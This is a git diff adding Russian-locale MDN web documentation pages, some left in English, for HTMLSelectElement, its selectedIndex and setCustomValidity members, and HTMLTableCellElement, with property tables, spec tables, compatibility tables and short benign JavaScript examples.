+   <td>{{Spec2('DOM1')}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.HTMLScriptElement")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML-элемент {{HTMLElement("script")}}</li>
+ <li>HTML-элемент {{HTMLElement("noscript")}}</li>
+ <li>{{domxref("document.currentScript")}}</li>
+ <li><a href="/en-US/docs/DOM/Using_web_workers">Web Workers</a> (<span class="tlid-translation translation" lang="ru"><span title="">фрагменты кода, похожие на скрипты, но выполняемые в другом глобальном контексте)</span></span></li>
+ <li><a href="http://pieisgood.org/test/script-link-events/">Ryan Grove's &lt;script&gt; and &lt;link&gt; node event compatibility chart</a></li>
+</ul>
diff --git a/files/ru/web/api/htmlselectelement/index.html b/files/ru/web/api/htmlselectelement/index.html
new file mode 100644
index 0000000000..1398bc4566
--- /dev/null
+++ b/files/ru/web/api/htmlselectelement/index.html
@@ -0,0 +1,376 @@
+---
+title: HTMLSelectElement
+slug: Web/API/HTMLSelectElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/HTMLSelectElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>The <code><strong>HTMLSelectElement</strong></code> interface represents a {{HTMLElement("select")}} HTML Element. These elements also share all of the properties and methods of other HTML elements via the {{domxref("HTMLElement")}} interface.</p>
+
+<h2 id="Properties"> Properties</h2>
+
+<p><em>This interface inherits the properties of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Name</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.autofocus", "autofocus")}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Reflects the {{htmlattrxref("autofocus", "select")}} HTML attribute, which indicates whether the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form-associated element in a document can have this attribute specified. {{gecko_minversion_inline("2.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.disabled", "disabled")}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Reflects the {{htmlattrxref("disabled", "select")}} HTML attribute, which indicates whether the control is disabled. If it is disabled, it does not accept clicks.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.form", "form")}} {{readonlyInline}}</td>
+   <td>{{domxref("HTMLFormElement")}}</td>
+   <td>Returns the form that this element is associated with. If the element is not associated with of a {{HTMLElement("form")}} element, then it returns <code>null</code>.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.labels", "labels")}} {{readonlyInline}}</td>
+   <td>{{domxref("NodeList")}}</td>
+   <td>Returns a list of label elements associated with this select element.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.length", "length")}}</td>
+   <td><code>unsigned long</code></td>
+   <td>The number of {{HTMLElement("option")}} elements in this <code>select</code> element.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.multiple", "multiple")}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Reflects the {{htmlattrxref("multiple", "select")}} HTML attribute, which indicates whether multiple items can be selected.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.name", "name")}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{htmlattrxref("name", "select")}} HTML attribute, containing the name of this control used by servers and DOM search functions.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.options", "options")}} {{readonlyInline}}</td>
+   <td>{{domxref("HTMLOptionsCollection")}}</td>
+   <td>The set of {{HTMLElement("option")}} elements contained by this element.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.required", "required")}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Reflects the {{htmlattrxref("required", "select")}} HTML attribute, which indicates whether the user is required to select a value before submitting the form. {{gecko_minversion_inline("2.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.selectedIndex", "selectedIndex")}}</td>
+   <td><code>long</code></td>
+   <td>Reflects the index of the first selected {{HTMLElement("option")}} element. The value <code>-1</code> indicates no element is selected.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.selectedOptions", "selectedOptions")}} {{readonlyInline}}</td>
+   <td>{{domxref("HTMLCollection")}}</td>
+   <td>Set of options that are selected.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.size", "size")}}</td>
+   <td><code>long</code></td>
+   <td>Reflects the {{htmlattrxref("size", "select")}} HTML attribute, which contains the number of visible items in the control. The default is 1, unless <code>multiple</code> is true, in which case it is 4.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.type", "type")}} {{readonlyInline}}</td>
+   <td><br>
+    {{domxref("DOMString")}}</td>
+   <td>The form control's type. When <code>multiple</code> is <code>true</code>, it returns <code>"select-multiple"</code>; otherwise, it returns <code>"select-one"</code>.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.validationMessage", "validationMessage")}} {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Localized message that describes the validation constraints that the control does not satisfy (if any). This attribute is the empty string if the control is not a candidate for constraint validation (<code>willValidate</code> is false), or it satisfies its constraints.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.validity", "validity")}} {{readonlyInline}}</td>
+   <td>{{domxref("ValidityState")}}</td>
+   <td>The validity state that this control is in.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.value", "value")}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The value of the form control (the first selected option).</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.willValidate", "willValidate")}}{{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Indicates whether the button is a candidate for constraint validation. It is false if any conditions bar it from constraint validation.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface inherits the methods of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Name</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.add()", "add()")}}</td>
+   <td>Adds an element to the collection of <code>option</code> elements for this <code>select</code> element.</td>
+  </tr>
+  <tr>
+   <td>blur() {{obsolete_inline}}</td>
+   <td>Removes input focus from this element. <em>This method is now implemented on {{domxref("HTMLElement")}}</em>.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.checkValidity()", "checkValidity()")}}</td>
+   <td>Checks whether the element has any constraints and whether it satisfies them. If the element fails its constraints, the browser fires a cancelable {{event("invalid")}} event at the element (and returns <code>false</code>).</td>
+  </tr>
+  <tr>
+   <td>focus() {{obsolete_inline}}</td>
+   <td>Gives input focus to this element. <em>This method is now implemented on {{domxref("HTMLElement")}}</em>.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.item()", "item()")}}</td>
+   <td>Gets an item from the options collection for this {{HTMLElement("select")}} element. You can also access an item by specifying the index in array-style brackets or parentheses, without calling this method explicitly.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.namedItem()", "namedItem()")}}</td>
+   <td>Gets the item in the options collection with the specified name. The name string can match either the <code>id</code> or the <code>name</code> attribute of an option node. You can also access an item by specifying the name in array-style brackets or parentheses, without calling this method explicitly.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.remove()", "remove()")}}</td>
+   <td>Removes the element at the specified index from the options collection for this select element.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLSelectElement.setCustomValidity()", "setCustomValidity()")}}</td>
+   <td>Sets the custom validity message for the selection element to the specified message. Use the empty string to indicate that the element does <em>not</em> have a custom validity error.</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="Get_information_about_the_selected_option">Get information about the selected option</h3>
+
+<pre class="brush: js">/* assuming we have the following HTML
+&lt;select id='s'&gt;
+    &lt;option&gt;First&lt;/option&gt;
+    &lt;option selected&gt;Second&lt;/option&gt;
+    &lt;option&gt;Third&lt;/option&gt;
+&lt;/select&gt;
+*/
+
+var select = document.getElementById('s');
+
+// return the index of the selected option
+console.log(select.selectedIndex); // 1
+
+// return the value of the selected option
+console.log(select.options[select.selectedIndex].value) // Second
+</pre>
+
+<p>A better way to track changes to the user's selection is to watch for the {{event("change")}} event to occur on the <code>&lt;select&gt;</code>. This will tell you when the value changes, and you can then update anything you need to. See <a href="/en-US/docs/Web/Events/change#Example_Change_event_on_a_select">the example provided</a> in the documentation for the <code>change</code> event for details.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#htmlselectelement', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Since the latest snapshot, {{SpecName('HTML5 W3C')}}, it adds the <code>autocomplete</code> property and the <code>reportValidity()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#htmlselectelement', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Is a snapshot of {{SpecName("HTML WHATWG")}}.<br>
+    It adds the <code>autofocus</code>, <code>form</code>, <code>required</code>, <code>labels</code>, <code>selectedOptions</code>, <code>willValidate</code>, <code>validity</code> and <code>validationMessage</code> properties.<br>
+    The <code>tabindex</code> property and the <code>blur()</code> and <code>focus()</code> methods have been moved to {{domxref("HTMLElement")}}.<br>
+    The methods <code>item()</code>, <code>namedItem()</code>, <code>checkValidity()</code> and <code>setCustomValidity()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-94282980', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td><code>options</code> now returns an {{domxref("HTMLOptionsCollection")}}.<br>
+    <code>length</code> now returns an <code>unsigned long</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-94282980', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}} <sup>[2]</sup></td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>item()</code> and <code>namedItem()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatGeckoDesktop(2.0)}}</td>
+   <td>8<sup>[3]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>setCustomValidity()</code>, <code>checkValidity()</code>, <code>willValidate</code>, <code>validationMessage</code>, <code>validity</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>selectedOptions</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(26)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>labels</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1)}}</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>item()</code> and <code>namedItem()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(2.0)}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>setCustomValidity()</code>, <code>checkValidity()</code>, <code>willValidate</code>, <code>validationMessage</code>, <code>validity</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(2.0)}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>selectedOptions</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(26)}}</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>labels</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] See {{bug("556743")}}.</p>
+
+<p>[2] Historically, Firefox has allowed keyboard and mouse events to bubble up from the <code>&lt;option&gt;</code> element to the parent {{HTMLElement("select")}} element. This doesn't happen in Chrome, however, although this behavior is inconsistent across many browsers. For better Web compatibility (and for technical reasons), when Firefox is in multi-process mode and the <code>&lt;select&gt;</code> element is displayed as a drop-down list. The behavior is unchanged if the <code>&lt;select&gt;</code> is presented inline and it has either the <code>multiple</code> attribute defined or a <code>size</code> attribute set to more than 1. Rather than watching <code>&lt;option&gt;</code> elements for events, you should watch for {event("change")}} events on {{HTMLElement("select")}}. See {{bug(1090602)}} for details.</p>
+
+<p>[3] namedItem does not appear to take the <code>name</code> attribute into account (only the <code>id</code> attribute) on Internet Explorer and Edge. There is a <a href="https://connect.microsoft.com/IE/feedbackdetail/view/2414092/">bug report</a> to Microsoft about this.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{HTMLElement("select")}} HTML element, which implements this interface.</li>
+</ul>
diff --git a/files/ru/web/api/htmlselectelement/selectedindex/index.html b/files/ru/web/api/htmlselectelement/selectedindex/index.html
new file mode 100644
index 0000000000..ce7468e168
--- /dev/null
+++ b/files/ru/web/api/htmlselectelement/selectedindex/index.html
@@ -0,0 +1,122 @@
+---
+title: HTMLSelectElement.selectedIndex
+slug: Web/API/HTMLSelectElement/selectedIndex
+tags:
+  - HTML формы
+  - HTMLSelectElement
+translation_of: Web/API/HTMLSelectElement/selectedIndex
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><code><strong>HTMLSelectElement.selectedIndex </strong></code>показывает порядковый номер первого выбранного элемента <code>{{HTMLElement("option")}}</code>. Значение -1 означает, что ни один из элементов не выбран.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>index</var> = <var>selectElem</var>.selectedIndex;
+<em>selectElem<code>.selectedIndex = </code>index;</em>
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p id="p"&gt;Индекс выбранного элемента: 0&lt;/p&gt;
+
+&lt;select id="select"&gt;
+  &lt;option selected&gt;Option A&lt;/option&gt;
+  &lt;option&gt;Option B&lt;/option&gt;
+  &lt;option&gt;Option C&lt;/option&gt;
+  &lt;option&gt;Option D&lt;/option&gt;
+  &lt;option&gt;Option E&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js; highlight[6]">var selectElem = document.getElementById('select')
+var pElem = document.getElementById('p')
+
+// Когда выбран новый элемент &lt;option&gt;
+selectElem.addEventListener('change', function() {
+  var index = selectElem.selectedIndex;
+  // Добавить данные в &lt;p&gt;
+  pElem.innerHTML = 'selectedIndex: ' + index;
+})</pre>
+
+<p>{{EmbedLiveSample("Example", "200px", "80px")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-select-selectedindex', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Никаких изменений с момента последнего снимка, {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#dom-select-selectedindex', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Исходное определение, снимка с {{SpecName("HTML WHATWG")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/htmlselectelement/setcustomvalidity/index.html b/files/ru/web/api/htmlselectelement/setcustomvalidity/index.html
new file mode 100644
index 0000000000..8778a21cc7
--- /dev/null
+++ b/files/ru/web/api/htmlselectelement/setcustomvalidity/index.html
@@ -0,0 +1,106 @@
+---
+title: HTMLSelectElement.setCustomValidity()
+slug: Web/API/HTMLSelectElement/setCustomValidity
+translation_of: Web/API/HTMLSelectElement/setCustomValidity
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>Метод <code><strong>HTMLSelectElement.setCustomValidity()</strong></code> устанавливает  специальное сообщение для  выбранного элемента. Если элемент не имеет пользовательской ошибки в параметре укажите пустую строку.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="eval  language-html"><code class="language-html"><em>selectElt</em>.setCustomValidity(<em>string</em>);</code></pre>
+
+<h3 id="Параметр">Параметр</h3>
+
+<ul>
+ <li><em>Строка</em> {{domxref("DOMString")}}  содержащая сообщение об ошибке.</li>
+</ul>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-cva-setcustomvalidity', 'HTMLSelectElement.setCustomValidity()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#dom-cva-setcustomvalidity', 'HTMLSelectElement.setCustomValidity()')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition, snapshot of {{SpecName('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузеров">Поддержка браузеров</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Edge</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(2.0)}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">Проверка(валидация) форм.</a></li>
+</ul>
diff --git a/files/ru/web/api/htmltablecellelement/index.html b/files/ru/web/api/htmltablecellelement/index.html
new file mode 100644
index 0000000000..c7ea5e85b1
--- /dev/null
+++ b/files/ru/web/api/htmltablecellelement/index.html
@@ -0,0 +1,155 @@
+---
+title: HTMLTableCellElement
+slug: Web/API/HTMLTableCellElement
+translation_of: Web/API/HTMLTableCellElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>Интерфейс <strong><span class="external"><code>HTMLTableCellElement</code></span></strong> содержит специальные свойства и методы (beyond the regular {{domxref("HTMLElement")}} interface it also has available to it by inheritance) for manipulating the layout and presentation of table cells, either header or data cells, in an HTML document.</p>
+
+<h2 id="Properties" name="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLTableCellElement.colSpan")}}</dt>
+ <dd>Is an <code>unsigned</code> <code>long</code> that represents the number of columns this cell must span. It reflects the {{htmlattrxref("colspan", "td")}} attribute.</dd>
+ <dt>{{domxref("HTMLTableCellElement.rowSpan")}}</dt>
+ <dd>Is an <code>unsigned</code> <code>long</code> that represents the number of rows this cell must span. It reflects the {{htmlattrxref("rowspan", "td")}} attribute.</dd>
+ <dt>{{domxref("HTMLTableCellElement.headers")}} {{readonlyInline}}</dt>
+ <dd>Is a {{domxref("DOMSettableTokenList")}} describing a list of <code>id</code> of {{HTMLElement("th")}} elements that represents headers associated with the cell. It reflects the {{htmlattrxref("headers", "td")}} attribute.</dd>
+ <dt>{{domxref("HTMLTableCellElement.cellIndex")}} {{readonlyInline}}</dt>
+ <dd>Is a <code>long</code> representing the cell position in the cells collection of the {{HTMLElement("tr")}} it belongs to. If the cell doesn't belong to a <code>&lt;tr&gt;</code>, it returns <code>-1</code>.</dd>
+ <dt>{{domxref("HTMLTableCellElement.align")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing an enumerated value reflecting the {{htmlattrxref("align", "td")}} attribute. It indicates the alignment of the element's contents with respect to the surrounding context. The possible values are <code>"left"</code>, <code>"right"</code>, and <code>"center"</code>.</dd>
+ <dt>{{domxref("HTMLTableCellElement.bgColor")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the background color of the cells. It reflects the obsolete {{htmlattrxref("bgColor", "td")}} attribute.</dd>
+ <dt>{{domxref("HTMLTableCellElement.axis")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a name grouping cells in virtual. It reflects the obsolete {{htmlattrxref("axis", "td")}} attribute.</dd>
+ <dt>{{domxref("HTMLTableCellElement.height")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a length of pixel of the hinted height of the cell. It reflects the obsolete {{htmlattrxref("height", "td")}} attribute.</dd>
+ <dt>{{domxref("HTMLTableCellElement.width")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a length of pixel of the hinted width of the cell. It reflects the obsolete {{htmlattrxref("width", "td")}} attribute.</dd>
+ <dt>{{domxref("HTMLTableCellElement.ch")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing one single chararcter. This character is the one to align all the cell of a column on. It reflects the {{htmlattrxref("char", "td")}} and default to the decimal points associated with the language, e.g. <code>'.'</code> for English, or <code>','</code> for French. This property was optional and was not very well supported.</dd>
+ <dt>{{domxref("HTMLTableCellElement.chOff")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a integer indicating how many characters must be left at the right (for left-to-right scripts; or at the left for right-to-left scripts) of the character defined by <code>HTMLTableCellElement.ch</code>. This property was optional and was not very well supported.</dd>
+ <dt>{{domxref("HTMLTableCellElement.noWrap")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("Boolean")}} value reflecting the {{htmlattrxref("nowrap", "td")}} attribute and indicating if cell content can be broken in several lines.</dd>
+ <dt>{{domxref("HTMLTableCellElement.vAlign")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing an enumerated value indicating how the content of the cell must be vertically aligned. It reflects the {{htmlattrxref("valign", "td")}} attribute and can have one of the following values: <code>"top"</code>, <code>"middle"</code>, <code>"bottom"</code>, or <code>"baseline"</code>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<p><em>No specific method; inherits methods from its parent, {{domxref("HTMLElement")}}</em>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "tabular-data.html#htmltablecellelement", "HTMLTableCellElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "tabular-data.html#htmltablecellelement", "HTMLTableCellElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>The following properties have been obsoleted: <code>align</code>, <code>axis</code>, <code>bgColor</code>, <code>height</code>, <code>width</code>, <code>ch</code>, <code>chOff</code>, <code>noWrap</code>, and <code>vAlign</code>.<br>
